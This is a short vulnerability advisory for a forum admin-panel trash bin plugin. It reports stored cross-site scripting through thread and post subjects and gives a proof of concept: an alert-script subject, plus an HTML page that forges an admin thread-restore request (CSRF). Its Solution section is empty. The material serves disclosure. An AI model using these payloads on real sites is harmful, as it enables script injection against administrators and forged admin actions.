1. Description:
|
|
Creates a trash bin in the ACP where you can recover permanent deleted threads and posts. The thread/post subjects allow XSS and deleted posts can be restored by CSRF.
|
|
|
|
|
|
2. Proof of Concept:
|
|
|
|
Cross-Site Scripting
|
|
|
|
- Create a new thread with the following subject <script>alert('XSS')</script>
|
|
- Permanently delete that thread
|
|
- Alert is located in threads trash bin localhost/[path]/admin/index.php?module=tools-trashbin and localhost/admin/index.php?module=tools-trashbin&action=posts
|
|
|
|
- Reply to a post and change the subject to the following <script>alert('XSS')</script>
|
|
- Permanently delete that post
|
|
- Alert is located in posts trash bin localhost/[path]/admin/index.php?module=tools-trashbin&action=posts
|
|
|
|
|
|
Cross-Site Request Forgery
|
|
|
|
<html>
|
|
<body>
|
|
<!-- Restore deleted threads & posts by thread/post ID -->
|
|
<div class="popup_item_container"><a href="http://localhost/[path]/admin/index.php?module=tools-trashbin&action=threadrestore&tid=1" class="popup_item">Restore</a></div>
|
|
<script type="text/javascript">
|
|
$("#thread_1").popupMenu();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
3. Solution:
